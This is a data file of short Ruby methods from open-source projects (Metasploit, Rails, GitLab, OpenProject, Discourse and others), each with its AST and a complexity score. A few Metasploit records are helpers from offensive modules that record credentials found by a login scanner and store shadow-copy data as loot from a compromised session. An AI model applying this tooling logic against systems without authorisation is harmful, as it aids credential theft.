{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/oracle/isqlplus_login.rb","start_line":229,"raw_source":"def report_cred(opts)\n    service_data = {\n      address: opts[:ip],\n      port: opts[:port],\n      service_name: opts[:service_name],\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      origin_type: :service,\n      module_fullname: fullname,\n      username: opts[:user],\n      private_data: opts[:password],\n      private_type: :password\n    }.merge(service_data)\n\n    login_data = {\n      core: create_credential(credential_data),\n      status: Metasploit::Model::Login::Status::UNTRIED,\n      proof: opts[:proof]\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"07a2f3ae-675e-49d4-a7e9-1ced7971276f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb","start_line":576,"raw_source":"def pointer_size\n    is_64bit ? 8 : 4\n  end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"pointer_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_64bit\"]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[4]}]}]}","id":"5c8534be-2152-41fa-ad0d-81c5dd2699a1"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/inventory_unit.rb","start_line":119,"raw_source":"def charged_amount\n      percentage_of_line_item * line_item.pre_tax_amount\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"charged_amount\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"percentage_of_line_item\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"line_item\"]},\"pre_tax_amount\"]}]}]}","id":"83117fd9-71b2-4231-b493-d9c06c3d8eeb"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":279,"raw_source":"def test_should_render_form_with_token_tag_if_remote_and_embedding_token_is_on\n    original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms\n    begin\n      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = true\n      assert_not_blocked do\n        get :form_for_remote\n      end\n      assert_match(/authenticity_token/, response.body)\n    ensure\n      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original\n    end\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_render_form_with_token_tag_if_remote_and_embedding_token_is_on\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"FormTagHelper\"]},\"embed_authenticity_token_in_remote_forms\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"FormTagHelper\"]},\"embed_authenticity_token_in_remote_forms=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_blocked\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"form_for_remote\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"authenticity_token\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"FormTagHelper\"]},\"embed_authenticity_token_in_remote_forms=\",{\"type\":\"lvar\",\"children\":[\"original\"]}]}]}]}]}]}","id":"3091ed77-9ff5-41c2-a4ef-a4ca90af1c78"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2155,"raw_source":"def owners\n    # This will be phased out and replaced with `owners` relationship\n    # backed by memberships with direct/inherited Owner access roles\n    # See https://gitlab.com/groups/gitlab-org/-/epics/7405\n    team.owners\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"owners\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"team\"]},\"owners\"]}]}","id":"c93ee149-2a8f-4a15-ae7d-db96d8783cdf"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/javascript_helper_test.rb","start_line":79,"raw_source":"def test_javascript_cdata_section\n    assert_dom_equal \"\\n//<![CDATA[\\nalert('hello')\\n//]]>\\n\", javascript_cdata_section(\"alert('hello')\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_javascript_cdata_section\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"\\n//<![CDATA[\\nalert('hello')\\n//]]>\\n\"]},{\"type\":\"send\",\"children\":[null,\"javascript_cdata_section\",{\"type\":\"str\",\"children\":[\"alert('hello')\"]}]}]}]}","id":"36ff4fd5-bb81-4d12-9ec7-3eb00cebc09e"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/spec/controllers/api/v1/auth_controller_spec.rb","start_line":15,"raw_source":"def response_errors\n    json_response[\"errors\"]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"response_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"errors\"]}]}]}","id":"9df74b2e-51b6-4dae-932b-170acefeb0c1"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/finders/spree/products/find.rb","start_line":113,"raw_source":"def sort_by?\n        sort_by.present?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sort_by?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_by\"]},\"present?\"]}]}","id":"503f79ab-5cd1-4f33-9519-8d9005a53a64"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/page_hierarchy_helper.rb","start_line":81,"raw_source":"def render_leaf_indicator\n      content_tag(:span, tabindex: 0, class: \"tree-menu--leaf-indicator\") do\n        content_tag(:span,\n                    ::I18n.t(:label_hierarchy_leaf),\n                    class: \"sr-only\")\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"render_leaf_indicator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tabindex\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"tree-menu--leaf-indicator\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_hierarchy_leaf\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"sr-only\"]}]}]}]}]}]}","id":"1324f2bb-56a3-4517-8785-5be2dda375d6"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_revision_serializer.rb","start_line":89,"raw_source":"def version_count\n    revisions.count\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"version_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revisions\"]},\"count\"]}]}","id":"6a0c7c4e-0f1c-4c4d-a0a6-a0da9155bab1"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/vacuum/statuses_vacuum.rb","start_line":34,"raw_source":"def statuses_scope\n    Status.unscoped.kept\n          .joins(:account).merge(Account.remote)\n          .where(statuses: { id: ...retention_period_as_id })\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"statuses_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"unscoped\"]},\"kept\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"account\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"remote\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"statuses\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"erange\",\"children\":[null,{\"type\":\"send\",\"children\":[null,\"retention_period_as_id\"]}]}]}]}]}]}]}]}","id":"5714a89b-5985-4f33-af4d-0e757fd1b5fb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/vss.rb","start_line":85,"raw_source":"def action_vss_get_info\n    return unless (storage_data = vss_get_storage)\n\n    tbl = Rex::Text::Table.new(\n      'Header' => 'Shadow Copy Storage Data',\n      'Indent' => 2,\n      'Columns' => ['Field', 'Value']\n    )\n    storage_data.each_pair { |k, v| tbl << [k, v] }\n    print_good(tbl.to_s)\n    store_loot('host.shadowstorage', 'text/plain', session, tbl.to_s, 'shadowstorage.txt', 'Shadow Copy Storage Info')\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"action_vss_get_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"storage_data\",{\"type\":\"send\",\"children\":[null,\"vss_get_storage\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"tbl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Shadow Copy Storage Data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Field\"]},{\"type\":\"str\",\"children\":[\"Value\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage_data\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"host.shadowstorage\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"shadowstorage.txt\"]},{\"type\":\"str\",\"children\":[\"Shadow Copy Storage Info\"]}]}]}]}","id":"c75d6c2d-2c59-4ccc-8a92-f02491841c32"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/mailers/application_mailer.rb","start_line":131,"raw_source":"def send_localized_mail(user)\n    with_locale_for(user) do\n      subject = yield\n      mail to: user, subject:\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"send_localized_mail\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_locale_for\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"lvar\",\"children\":[\"subject\"]}]}]}]}]}]}]}","id":"f1cae540-34be-4b38-8bb1-9937e464c605"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/suggestions/outdate_service_spec.rb","start_line":23,"raw_source":"def build_position(path, line)\n      Gitlab::Diff::Position.new(\n        old_path: path,\n        new_path: path,\n        old_line: nil,\n        new_line: line,\n        diff_refs: merge_request.diff_refs\n      )\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_position\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Diff\"]},\"Position\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_line\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_line\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"diff_refs\"]}]}]}]}]}","id":"64949629-1296-4f92-bb5a-85b4a457dfe5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/event_collection.rb","start_line":82,"raw_source":"def paginate_events(events)\n    events.limit(@limit).offset(@offset)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"paginate_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"events\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"limit\",{\"type\":\"ivar\",\"children\":[\"@limit\"]}]},\"offset\",{\"type\":\"ivar\",\"children\":[\"@offset\"]}]}]}","id":"df9048a4-4968-4c9f-962c-1f2ca5fa4c78"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/admin/backups_controller.rb","start_line":81,"raw_source":"def check_enabled\n    render_404 unless OpenProject::Configuration.backup_enabled?\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"backup_enabled?\"]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"031dc536-ec22-49d9-a918-c1be539b0dc9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/wiki_controller.rb","start_line":89,"raw_source":"def show\n    # Set the related page ID to make it the parent of new links\n    flash[:_related_wiki_page_id] = @page.id\n\n    version = params[:version] if User.current.allowed_in_project?(:view_wiki_edits, @project)\n\n    @page = ::WikiPages::AtVersion.new(@page, version)\n\n    if params[:format] == \"markdown\" && User.current.allowed_in_project?(:export_wiki_pages, @project)\n      send_data(@page.text, type: \"text/plain\", filename: \"#{@page.title}.md\")\n      return\n    end\n\n    @editable = editable?\n    @show_create = show_create?\n  end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"_related_wiki_page_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"view_wiki_edits\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@page\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WikiPages\"]},\"AtVersion\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@page\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"markdown\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"export_wiki_pages\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_data\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\".md\"]}]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@editable\",{\"type\":\"send\",\"children\":[null,\"editable?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@show_create\",{\"type\":\"send\",\"children\":[null,\"show_create?\"]}]}]}]}","id":"fa59aeb4-8ed2-453e-9fc5-55824e32c765"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/attribute_help_texts_controller.rb","start_line":122,"raw_source":"def find_type_scope\n    name = params.fetch(:name, \"WorkPackage\")\n    submodule = AttributeHelpText.available_types.find { |mod| mod == name }\n\n    if submodule.nil?\n      render_404\n    end\n\n    @attribute_scope = AttributeHelpText.const_get(submodule)\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_type_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"WorkPackage\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"submodule\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AttributeHelpText\"]},\"available_types\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"submodule\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"render_404\"]},null]},{\"type\":\"ivasgn\",\"children\":[\"@attribute_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AttributeHelpText\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"submodule\"]}]}]}]}]}","id":"326b383b-3260-4cc8-b9a3-2182f00c4f61"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/bespoke_1.rb","start_line":41,"raw_source":"def self.create(cols)\n      Class.new(RowResolver).new(cols)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cols\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"RowResolver\"]}]},\"new\",{\"type\":\"lvar\",\"children\":[\"cols\"]}]}]}","id":"7319955d-8871-4944-9b0f-fff841f28196"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/recon/persistence_suggester.rb","start_line":440,"raw_source":"def print_error(msg = '')\n    super(session ? \"#{session.session_host} - #{msg}\" : msg)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"print_error\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}","id":"a0af7912-e007-4b1f-9118-f199c1970c4d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":436,"raw_source":"def render_content_type_from_body\n    response.content_type = Mime[:rss]\n    render body: \"hello world!\"\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_content_type_from_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"content_type=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mime\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rss\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"hello world!\"]}]}]}]}]}]}","id":"0d0782df-2853-4534-b4a8-b06a21dc22e4"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/oneboxer.rb","start_line":261,"raw_source":"def self.cache_failed!(url)\n    Discourse.cache.write(onebox_failed_cache_key(url), true, expires_in: 1.hour)\n  end","complexity_score":4.95,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cache_failed!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"onebox_failed_cache_key\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]}]}]}]}]}","id":"1278c908-9f01-4240-8934-40a0bd28c651"}
